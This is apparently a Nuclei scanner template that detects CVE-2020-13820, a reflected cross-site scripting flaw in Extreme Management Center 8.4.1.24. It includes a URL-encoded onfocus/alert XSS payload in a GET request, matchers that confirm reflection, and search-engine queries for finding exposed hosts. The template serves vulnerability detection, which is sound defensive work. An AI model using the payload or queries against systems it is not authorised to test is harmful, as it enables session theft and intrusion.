id: CVE-2020-13820

info:
  name: Extreme Management Center 8.4.1.24 - Cross-Site Scripting
  author: tess
  severity: medium
  description: |
    Extreme Management Center 8.4.1.24 contains a cross-site scripting vulnerability via a parameter in a GET request. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Extreme Management Center.
  reference:
    - https://medium.com/@0x00crash/xss-reflected-in-extreme-management-center-8-4-1-24-cve-2020-13820-c6febe951219
    - https://gtacknowledge.extremenetworks.com/articles/Solution/000051136
    - https://gtacknowledge.extremenetworks.com
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13820
    - https://documentation.extremenetworks.com/release_notes/netsight/XMC_8.5.0_Release_Notes.pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-13820
    cwe-id: CWE-79
    epss-score: 0.04015
    epss-percentile: 0.89545
    cpe: cpe:2.3:a:extremenetworks:extreme_management_center:8.4.1.24:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: extremenetworks
    product: extreme_management_center
    shodan-query:
      - title:"Extreme Management Center"
      - http.title:"extreme management center"
    fofa-query: title="extreme management center"
    google-query: intitle:"extreme management center"
  tags: cve2020,cve,xss,extremenetworks,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/OneView/view/center?a%27+type%3d+%27text%27+autofocus+onfocus%3d%27alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "autofocus onfocus='alert(document.domain)"
          - "Extreme Management Center"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450220773950926cd33f4accf6ec70ff9d13b2dd67486888461beec85e7774553af571022100ae5f849adca441b5e3ebdbdf94fbba078e8a58d0e11696875deaf85e5d44ab65:922c64590222798bb761d5b6d8e72950